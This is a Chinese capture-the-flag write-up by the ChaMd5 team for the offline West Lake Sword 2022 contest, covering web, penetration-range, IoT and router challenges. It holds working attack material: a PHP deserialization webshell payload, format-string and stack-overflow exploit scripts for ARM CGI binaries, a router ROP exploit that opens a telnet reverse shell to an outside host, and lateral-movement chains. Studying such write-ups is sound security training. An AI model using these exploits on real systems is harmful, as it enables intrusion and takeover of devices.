西湖论剑线下-WriteUp

WriteUp 2年前 (2022) admin
985 0 0
西湖论剑线下-WriteUp

单点渗透web


ZohoManager

解题思路

https://packetstormsecurity.com/files/164231/ManageEngine-OpManager-SumPDU-Java-Deserialization.html

msf用CVE-2021-3287直接打即可


AlphaOKOK

解题思路

绕过死亡exit,反序列化写文件

参考

https://nikoeurus.github.io/2019/12/13/phpok-V5.3%205.4%E5%89%8D%E5%8F%B0getshell/#%E6%94%BB%E5%87%BB

第一步得到写文件的序列化payload

<?php
class cache
{
    protected $key_id;
    protected $key_list;
    protected $folder;
    public function __construct()
    
{
        $this->key_id = "php://filter/write=convert.base64-decode/resource=somnus";
        $this->folder = "";
        $a = '<?php eval($_REQUEST["a"]);?>';
        $this->key_list = "aa".base64_encode($a);
    }
}
$c = new cache();
echo bin2hex(serialize($c));

然后直接

/api.php?c=call&data=%7b%22m_picplayer%22%3a%7b%22type_id%22%3a%22sql%22%2c%22cache%22%3a%22false%22%2c%22sqlinfo%22%3a%22INSERT%20INTO%20qinggan_fields(%60id%60%2c%60ftype%60%2c%60title%60%2c%60identifier%60%2c%60field_type%60%2c%60note%60%2c%60form_type%60%2c%60form_style%60%2c%60format%60%2c%60content%60%2c%60taxis%60%2c%60ext%60%2c%60is_front%60%2c%60search%60%2c%60search_separator%60%2c%60form_class%60)%20VALUES(1%2c'21'%2c'text'%2c'pic'%2c'int'%2c'test'%2c'upload'%2c'test'%2c'safe'%2c'test'%2c20%2c0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a35363a227068703a2f2f66696c7465722f77726974653d636f6e766572742e6261736536342d6465636f64652f7265736f757263653d736f6d6e7573223b733a31313a22002a006b65795f6c697374223b733a34323a22616150443977614841675a585a686243676b58314a465556564655315262496d456958536b37507a343d223b733a393a22002a00666f6c646572223b733a303a22223b7d%2c0%2c0%2c'test'%2c'test')%3b%22%7d%7d

再访问如下链接触发反序列化

/api.php?c=call&data=%7b%22m_picplayer%22%3a%7b%22type_id%22%3a%22fields%22%2c%22cache%22%3a%22false%22%2c%22site%22%3a1%2c%22pid%22%3a41%7d%7d最后去访问http://114.5.18.20/somnus.php?a=system(%27cat%20/flag%27);即可

最后去访问

http://114.5.18.20/somnus.php?a=system(%27cat%20/flag%27);即可

西湖论剑线下-WriteUp


西湖论剑线下-WriteUp

DPR纵深渗透靶场


打击犯罪团伙复盘

解题思路

赛后复盘:

先放一个拓扑:

西湖论剑线下-WriteUp

  1. 他的入口有两条第一条是一个叫phpok的cms,是一个反序列化的0day,因为官方最后放出了打了一点点码的poc,赛后回酒店也复现了下,照葫芦画瓢也不难分析出来,其实就是login这个控制器中的update方法中调用了decode,又在decode中进行了反序列化的操作,并且cache类中__destruct方法有写文件的操作。图中的那个Alphabug-Web就是部署了phpok的机器,并且是在docker中部署的,他的宿主机有一个文件读取的洞,可以读到储存在本机的redis的账号密码,连上的redis是root权限,所以可以直接拿下那个database。

  2. 第二个入口就是红包的这个站,入口点是一个后台上传页面,用这个cms的默认密码进后台即可,出题人在github上泄漏了这个cms的代码,或者也可以在源码中国找到。存在杀毒软件,简单绕过就可以,我们拿到这台机器的shell后,会在这个机器上发现sqlserver数据库的账号密码,我们用得到的sqlserver账号密码直接去连那个Teamserver,但是会有杀软要做一些绕过,TeamServer是用phpstudy搭建起来的,存在那个phpstudy后门,直接用这个也行

  3. linuxA有个samba的rce,cve-2017-7494,攻击路线:samba getshell,利用docker挂载物理/home/目录到docker中,逃逸到物理机,(利用方法为,在home中发现jack用户,创建ssh证书,利用ssh证书登陆物理机,jack为低权限,进行提权)

  4. 拿下linuxA后,查看历史执行命令,会发现有:ssh [email protected],并且还会发现id_rsa的文件存在,所以可以ssh连到B,B上开了ftp服务和redis服务,可以直接匿名连上ftp,在里面会发现redis的账号密码等,得到账号密码后连接redis,会发现是root权限,利用redis提权,获取flag。

(以上为赛后复现)


西湖论剑线下-WriteUp

IOT

| many cgi of lighttpd

解题思路

三个cgi文件,一个busybox具有telnet功能,可能是为了方便调试,或者是方便shell


西湖论剑线下-WriteUp



西湖论剑线下-WriteUp


西湖论剑线下-WriteUp

在S98lighttpd 中有提示 需要了leak session.

西湖论剑线下-WriteUp

Libc 有点新,需要使用21.04 以上的版本才好搭建调试环境


0x10 对cgi-bin进行分析

55.cgi 发现第一步进行了auth的检查

int __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // r0
  void *ptr; // [sp+4h] [bp-18h]
  int n; // [sp+8h] [bp-14h]
  const char *v8; // [sp+Ch] [bp-10h]
  char *v9; // [sp+10h] [bp-Ch]
  const char *s1; // [sp+14h] [bp-8h]

  if ( !sub_109F0(a1, a2, a3) ) // 检查auth
  {
    puts("No Authentication");
    exit(1);
  }
  puts("Content-Type: text/plainn");
  s1 = getenv("REQUEST_METHOD");
  if ( !strcmp(s1, "GET") )
  {
    v9 = getenv("QUERY_STRING");
    sub_10B48(v9);
    return 0;
  }
  if ( strcmp(s1, "POST") )
  {
    sub_10B48(0);
    return 0;
  }
  v8 = getenv("CONTENT_TYPE");
  if ( strcmp(v8, "application/x-www-form-urlencoded") )
  {
    printf("CONTENT_TYPE not supported now !");
    return 0;
  }
  v3 = getenv("CONTENT_LENGTH");
  n = atoi(v3);
  if ( n <= 3316 && n >= 0 )
  {
    ptr = calloc(n + 11u);
    fread(ptr, 1u, n, (FILE *)stdin);
    sub_10B48((char *)ptr);
    free(ptr);
    return 0;
  }
  printf("CONTENT_LENGTH not supported now !");
  return -1;
}

63.cgi

int __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // r0
  void *ptr; // [sp+4h] [bp-18h]
  int n; // [sp+8h] [bp-14h]
  const char *v7; // [sp+Ch] [bp-10h]
  char *v8; // [sp+10h] [bp-Ch]
  const char *s1; // [sp+14h] [bp-8h]

  if ( !sub_108C8() ) // check auth
  {
    puts("No Authentication");
    exit(1);
  }
  puts("Content-Type: text/plainn");
  s1 = getenv("REQUEST_METHOD");
  if ( !strcmp(s1, "GET") )
  {
    v8 = getenv("QUERY_STRING");
    sub_109E0(v8);
  }
  else if ( !strcmp(s1, "POST") )
  {
    v7 = getenv("CONTENT_TYPE");
    if ( !strcmp(v7, "application/x-www-form-urlencoded") )
    {
      v3 = getenv("CONTENT_LENGTH");
      n = atoi(v3);
      ptr = calloc(n + 11u);
      fread(ptr, 1u, n, (FILE *)stdin);
      sub_109E0(ptr);
      free(ptr);
    }
    else
    {
      printf("CONTENT_TYPE not supported now !");
    }
  }
  else
  {
    sub_109E0(0);
  }
  return 0;
}

index.cgi

int __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [sp+Ch] [bp-8h]

  puts("Content-type: text/plainrnr");
  v4 = sub_115AC(); // 获取环境变量
  sub_1253C((int)v4, (FILE *)stdout); 
  sub_120FC((int)v4);
  return 0;
}

主要环境变量为:
.rodata:00012824                                         ; "SERVER_SOFTWARE"
.rodata:00012828                 DCD aServerName         ; "SERVER_NAME"
.rodata:0001282C                 DCD aGatewayInterfa     ; "GATEWAY_INTERFACE"
.rodata:00012830                 DCD aServerProtocol     ; "SERVER_PROTOCOL"
.rodata:00012834                 DCD aServerPort         ; "SERVER_PORT"
.rodata:00012838                 DCD aRequestMethod      ; "REQUEST_METHOD"
.rodata:0001283C                 DCD aPathInfo           ; "PATH_INFO"
.rodata:00012840                 DCD aPathTranslated     ; "PATH_TRANSLATED"
.rodata:00012844                 DCD aScriptName         ; "SCRIPT_NAME"
.rodata:00012848                 DCD aQueryString        ; "QUERY_STRING"
.rodata:0001284C                 DCD aRemoteHost         ; "REMOTE_HOST"
.rodata:00012850                 DCD aRemoteAddr         ; "REMOTE_ADDR"
.rodata:00012854                 DCD aAuthType           ; "AUTH_TYPE"
.rodata:00012858                 DCD aRemoteUser         ; "REMOTE_USER"
.rodata:0001285C                 DCD aRemoteIdent        ; "REMOTE_IDENT"
.rodata:00012860                 DCD aContentType        ; "CONTENT_TYPE"
.rodata:00012864                 DCD aContentLength      ; "CONTENT_LENGTH"
.rodata:00012868                 DCD aHttpAccept         ; "HTTP_ACCEPT"
.rodata:0001286C                 DCD aHttpUserAgent      ; "HTTP_USER_AGENT"
.rodata:00012870                 DCD aHttpCookies        ; "HTTP_COOKIES"

暂时未发现可以泄漏session的地方,因此我们查看lighttpd的配置文件里有没有什么收获


0x20 conf.d lighted config


西湖论剑线下-WriteUp

西湖论剑线下-WriteUp


可以看到sesseion 是在/var/tmp/session 下,而web是在/var/www 目录下

这时假设我们可以穿越路径去读,那么我们请求

/../tmp/session -> /var/www/../tmp/session -> /var/tmp/session

就可以泄漏session 了,我们启动服务去调试一下,实际环境发现并不能泄漏成功


0x30 思路

  • 通过目录穿越泄漏session

  • 通过溢出去执行telnetd -l /bin/sh -p 6789

而这里我注意到system函数 存在在文件55.cgi 中 因此我们来重点分析这个文件

这里我们先猜测这三个文件分别对应处理的功能 主要依靠传入content_length 来判断长度

index.cgi 主要处理环境变量
55.cgi 漏洞点
63.cgi Welcome page

这里我们先看63.cgi 的主要函数

content_length 不受限
char *__fastcall sub_109E0(char *result)
{
  if ( result )
  {
    result = strstr(result, "name=");
    if ( result )
    {
      if ( result[5] )
        return (char *)printf("Hello %s !n", result + 5);
    }
  }
  return result;
}

没什么异常,打印了一下Welcome

刚才看了一下提示,提示说是用格式化字符串泄漏uuid,因此分析错了

而程序里另一个函数引起了我的注意:开头的checkauth函数

int sub_108C8()
{
  char s[20]; // [sp+0h] [bp-54h] BYREF
  char s2[20]; // [sp+14h] [bp-40h] BYREF
  char haystack[24]; // [sp+28h] [bp-2Ch] BYREF
  char *format; // [sp+40h] [bp-14h]
  char *v5; // [sp+44h] [bp-10h]
  char *v6; // [sp+48h] [bp-Ch]
  int v7; // [sp+4Ch] [bp-8h]

  v7 = 0;
  v6 = getenv("HTTP_COOKIES");
  memset(s, 00x11u);
  sub_107E8(s);
  if ( v6 )
  {
    memset(haystack, 00x17u);
    snprintf(haystack, 0x16u, "%s", v6);
    v5 = strstr(haystack, "uuid=");
    if ( v5 )
    {
      format = v5 + 5;
      memset(s2, 00x11u);
      snprintf(s2, 0x11u, v5 + 5); // 格式话字符串,可以用来把s改掉或者泄漏出来
      puts(s2);
      if ( !strncmp(s, s2, 0x10u) )
        return 1;
    }
  }
  return v7;
}

这里可以看到加入我们输入Cookie:uuid=%s%s%s 执行到第二个snprintf的时候会出现snprintf(s2,0x11u,”%s%s”)

然后puts(s2) 泄漏出uuid

接下来我们看一下55.cgi

0 < content_length < 0xcf4
char *__fastcall sub_10B48(char *result)
{
  unsigned __int8 *content; // [sp+4h] [bp-D20h]
  char v2[3316]; // [sp+Ch] [bp-D18h] BYREF
  char *v3; // [sp+D00h] [bp-24h]
  char *v4; // [sp+D04h] [bp-20h]
  int v5; // [sp+D08h] [bp-1Ch]
  int v6; // [sp+D0Ch] [bp-18h]
  size_t n; // [sp+D10h] [bp-14h]
  int v8; // [sp+D14h] [bp-10h]
  int v9; // [sp+D18h] [bp-Ch]
  char *s2; // [sp+D1Ch] [bp-8h]

  content = (unsigned __int8 *)result;
  s2 = "*#$^";
  if ( result )
  {
    if ( !strncmp(result, s2, 4u) )
    {
      v9 = content[4];
      v8 = content[5] + 2 * v9;
      n = content[6] + 4 * v8;
      v6 = content[7];
      v5 = content[8] + 2 * v6;
      memset(v2, 0sizeof(v2));
      memcpy(v2, content, n);
      result = strstr(v2, "*#$^");
      v4 = result;
      if ( result )
      {
        v3 = &v4[v5 - 77];
        if ( *v3 )
          return (char *)sub_10AFC(v3, v5);     // 猜测漏洞点在这里
        // strncpy(dest,v3,v5) dest [752] = 0x2f8
        //  0 < content_length < 0xcf4
      }
    }
    else
    {
      result = strstr(v2, "ping");
      if ( result )
        return (char *)sub_109B0("20.21.2.26"); // system("/bin/ping -c 2 %s","20.21.2.26")
    }
  }
  return result;
}

可以明显看出这里有点问题,因此我们的思路就明显很多了

  • 构造出包

  • 调用system(“telnetd -l /bin/sh -p 6789”)


0x40 构造溢出包

这里我们只需要构造content 发包为post

这里我们假设可以调试的话:我们应该先测试:63.cgi 根据他name的传递方式来确定我们这个包的传递方法

假设输入
*#$^AAAAAAAAAA
-> v9 = 0x41
-> v8 = 0x41 + 2 * 0x41
n = 0x41+4* v8 // 确定整个包的长度,因此要尽量确保他比较大
v6 = 0x41
v5 = content[8] + 2 * v6 // payload的位置,要尽量精确
v3 = &[v5-77]

根据这个思路我们来构造payload

这里有几个点需要注意:

  • Strncpy(dest, source, n) 由于我们要溢出dest,因此我们要保证n要足够大(最少要大于0x300左右 > 0x2f0)

  • 第二我们就要控制source 位置在去除前4个字节后的第(payload_length – 77)假设payload_lenth = 0x2fd的话就是第688个字节以后的位置开始进行复制因此我们要填补的offset就是0x2fd – 77 – 5 然后在加上dest的大小0x2f0 后面跟payload就可以了

length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
payload ="*#$^(length_part1)(length_part2)(length_part3)(content_length_part1)(content_length_part2)('A'*(0x2fd - 77 - 5))+('B'*0x2f4 + payload)"
n = lenth_part3 + 4 * (length_part2 + 2 * length_part1) #3315
payload_length = content_length_part2 + 2 * content_length_part1 # 0x2fd

包构造完了之后我们就要考虑利用的问题了,由于我们大概率只能覆盖一个地址,因此我们就要想办法把commend 的位置控制好,我们发现

.text:000109D4                 SUB     R3R11#-s
.text:000109D8                 MOV     R0R3          ; command
.text:000109DC                 BL      system

就可以等调试看看能不能利用成功了

西湖论剑线下-WriteUp

没办法调试,但我脑子过了一遍

.text:00010B24                 LDR     R2[R11,#n]    ; n
.text:00010B28                 SUB     R3R11#-dest
.text:00010B2C                 LDR     R1[R11,#src]  ; src
.text:00010B30                 MOV     R0R3          ; dest
.text:00010B34                 BL      strncpy
 MOV     R0R3          ; dest
执行过后 R0中应该还是是第二段payload
因此我们返回到0x000109DC 直接Call system估计就行

POC:

#!/usr/bin/env python
#-*-coding:utf-8-*-

from pwn import *
import requests as rq

context.log_level="debug"

request_url = "http://127.0.0.1:80/55.cgi"

headers_for_get_uuid = {
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded",
  # 这里需要调试出偏移来泄漏uuid或者直接把uuid改了
    "Cookies":"%s%s%s" 
}

res = rq.post(request_url,headers = headers_for_get_uuid)

log.info("res: "+res)
# get_uuid

headers = {
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded",
  # 替换掉这里的uuid
    "Cookies":"uuid=aaaabbbbccccdddd"
}

commend = "& telnetd -l /bin/sh -p 6789 ;"

system = 0x000109DC

length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust('B',0x2f4)
payload += p32(system)

n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd

log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))

rq.post(request_url,headers = headers ,data=payload)


0x40 调试

这里我们应该使用qemu-system去调试或者修改东西来调试

可以看到是小端序,泄漏出来的地址从后往前数

假设我们栈情况:
  char s[20]; // [sp+0h] [bp-54h] BYREF //我们要泄漏的东西 长度为0x10
  char s2[20]; // [sp+14h] [bp-40h] BYREF
  char haystack[24]; // [sp+28h] [bp-2Ch] BYREF // uuid 12 =aaa 13 b%7$p 14
  char *format; // [sp+40h] [bp-14h] // format位置 现在测试出为第7个即:%7$p
  char *v5; // [sp+44h] [bp-10h] 
  char *v6; // [sp+48h] [bp-Ch]
  int v7; // [sp+4Ch] [bp-8h]



  我们先泄漏一下haystack来进行测试我们的计算:
  haystack = (0x2c - 0x14) / 4 = 6
  因此format 应该等于 7+6 = 13

西湖论剑线下-WriteUp

西湖论剑线下-WriteUp

西湖论剑线下-WriteUp

突然发现可以单独启动cgi来调试

export HTTP_COOKIES=uuid=%2$p // 注意转义$
export REQUEST_METHOD=POST
export CONTENT_TYPE=application/x-www-form-urlencoded
export CONTENT_LENGTH=10
export QUERY_STRING=name=F0und

qemu-arm -L /usr/arm-linux-gnueabi -g 1234 63.cgi 

西湖论剑线下-WriteUp

根据刚才我们的推测可以判断session的偏移是%2$p-%5$p 且session不变,因此我们只要请求四次就可以泄漏session了

西湖论剑线下-WriteUp

调试后可以看到没有问题

那么我们的第一段POC:

#!/usr/bin/env python
#-*-coding:utf-8-*-

from pwn import *
import requests as rq

context.log_level="debug"

def leak_session(format):
    request_url = "http://127.0.0.1:80/55.cgi"

    headers_for_get_uuid = {
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded",
    # 这里需要调试出偏移来泄漏uuid或者直接把uuid改了
        "Cookies""uuid="+format 
    }

    res = rq.post(request_url,headers = headers_for_get_uuid)
    log.info("res: "+res.text)

for i in range(2,6):
  leak_session("%"+str(i)+"$p")

接下来就可以来调试栈溢出了

这部分由于我们的payload是要入才行,因此我们需要像这么输入:

echo "name=F0und" | qemu-arm -L /usr/arm-linux-gnueabi 63.cgi 

我们简单写个脚本来生成调试用的payload

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *

commend = "& telnetd -l /bin/sh -p 6789 ;"

system = 0x000109DC

length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust(0x2f4,"b")
payload += p32(system)

n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd

with open("shellcode","w") as f:
    f.write(payload)
f.close()

log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
log.info("payload_length: "+str(len(payload))) #content_length 1452
# break point 0x00010C84 
# 0x00010B34  

西湖论剑线下-WriteUp

西湖论剑线下-WriteUp

可以发现应该是溢出成功了,我们来调试一下看看

西湖论剑线下-WriteUp

西湖论剑线下-WriteUp

可以看到写入成功

调试一下偏移发现system = 0x00010BB0 也就是返回到第二个函数这里可以拿到shell

.text:00010B90                 SUB     R3, R3, #4
.text:00010B94                 LDR     R1, =aPing      ; "ping"
.text:00010B98                 MOV     R0, R3          ; haystack
.text:00010B9C                 BL      strstr
.text:00010BA0                 MOV     R3, R0
.text:00010BA4                 CMP     R3, #0
.text:00010BA8                 BEQ     loc_10CCC
.text:00010BAC                 LDR     R0, =a2021226   ; "20.21.2.26"
.text:00010BB0                 BL      sub_109B0
.text:00010BB4                 B       loc_10CCC

西湖论剑线下-WriteUp

POC2:

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
#remote
#commend = "; telnetd -l /bin/sh -p 6789 ;"
commend = ";/bin/sh;"

system = 0x00010BB0

length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5 - 4
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust(0x2f8,"b")
payload += p32(system)

n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd

with open("shellcode","w") as f:
    f.write(payload)
f.close()

log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
log.info("payload_length: "+str(len(payload)))


0x50 Final EXP

#!/usr/bin/env python
#-*-coding:utf-8-*-

from pwn import *
import requests as rq

context.log_level="debug"

def leak_session(format):
    request_url = "http://127.0.0.1:80/55.cgi"

    headers_for_get_uuid = {
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
        "Content-Type":"application/x-www-form-urlencoded",
    # 这里需要调试出偏移来泄漏uuid或者直接把uuid改了
        "Cookies""uuid="+format 
    }

    res = rq.post(request_url,headers = headers_for_get_uuid)
    log.info("res: "+res.text)


#  leak session
for i in range(2,6):
  leak_session("%"+str(i)+"$p")

## get shell

headers = {
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded",
  # 替换掉这里的uuid
    "Cookies":"uuid=aaaabbbbccccdddd"
}

commend = ";/bin/sh;"

system = 0x00010BB0

length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5 - 4
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust(0x2f8,"b")
payload += p32(system)

n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd

log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
log.info("payload_length: "+str(len(payload)))
rq.post(request_url,headers = headers ,data=payload)


| no more time

解题思路

西湖论剑线下-WriteUp

通过题目的描述可知道直接短接pd2即可

西湖论剑线下-WriteUp

找到原理图上的pd2,那镊子一头接pd2一头接地,用串口连接工具连接后,即可打印flag


| XH-Link

解题思路

西湖论剑线下-WriteUp

进入logs_download,命令截断来执行sh。

两次输入v3实现;sh;


西湖论剑线下-WriteUp


| qtmm

解题思路

nc连接下发现是MQTT协议

西湖论剑线下-WriteUp

通过现学发现需要发布和订阅,这里 topic:2022/hatlab/getflag一直在发信息,所以尝试发布信息

尝试了多次发布,最终找到了有用的两条命令

mosquitto_pub.exe -h “114.5.18.26” -t “2022/hatlab/getflag” -m “oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA=”

mosquitto_pub.exe -h “114.5.18.26” -t “2022/hatlab/flag” -m “oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA=”

西湖论剑线下-WriteUp


| Base64

解题思路

这道题目是这场比赛唯一没上lockbit的,可以直接提取固件,这次比赛的板子波特率都是112500

用usp-isp然后拿FPC转接板对照原理图,在对应端口连一下,用avrdude提取芯片然后进行avr逆向,会发现base64码表被改动了,用他的base64码表去解码串口出来的那串字符就可以解出flag,串口出口的字符就是被加密了的字符

ps:板子的账号root密码771c34d4f304fbc3

西湖论剑线下-WriteUp


西湖论剑线下-WriteUp

虚实结合

| 扫地机器人

解题思路:

通过联系CVE-2021-1602和CVE41773 利用前者的攻击手法和后者的RCE思路,拿下A路由器权限,比赛时我选择了打/download/dniapi/,用Authorization: Basic 来发攻击命令,但是不知道为什么没有成功回显,赛后线下交流会时,通过大佬的讲解,我发现大概自己时echo漏了或者在借助目录穿越去调用/bin/sh/的时候存在了问题,千里之堤,毁于蚁穴,在这里耽误了太多时间。

西湖论剑线下-WriteUp

然后连上B路由器进行攻击,RV130的POC比较多,随便一个CVE-2021-30xxxx的似乎都可以打下来

#!/usr/bin/python

import requests
from pwn import *
context.log_level=logging.DEBUG
context(arch='arm',os='linux',endian='little')

url = "https://192.168.1.1/guest_logout.cgi"

# padding to 0xa9aed + 0x23 and then next instructon starts at 0xa9b10 
system_arg_addr = 0xa9b10
jmp_target = 0xa9ba8 

padding = b'x'*0x23

cmd = b"telnet 192.168.1.101 4444 | /bin | telnet 192.168.1.101 5555n"

payload = padding + cmd

payload = payload.ljust(cyclic_find("abma")+3*8+4,b'x')
# pop    {r4, r5, r6, r7, r8, sb, sl, fp, pc}
# payload += b'1234' * 8

payload += p32(0x35849144)
payload += p32(jmp_target) 

payload += b'x' * 5

'''
0x35849144
'''


shellcode= '''
mov r0,pc
sub r0,r0,#0xa0
push {r11}
pop {pc}
'''


shellcode = asm(shellcode)

payload += shellcode

payload = {
        "cmac":"12:af:aa:bb:cc:dd",
        "submit_button":b"status_captive.asp"+payload,
        "cip":"192.168.1.100"
        }
requests.post(url, data=payload, verify=False, timeout=1)

关于该路由器详细了解可以看我们以前的文章RV110W路由器漏洞复现 (qq.com)

最后一关机器人,此处不方便详细讲解。总之通过扫描端口就可以找到扫地机器人在6789端口,然后去固件分析这个端口位置,然后发现漏洞就可以进行攻击

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



西湖论剑线下-WriteUp

原文始发于微信公众号(ChaMd5安全团队):西湖论剑线下-WriteUp

版权声明:admin 发表于 2022年3月17日 上午8:00。
转载请注明:西湖论剑线下-WriteUp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...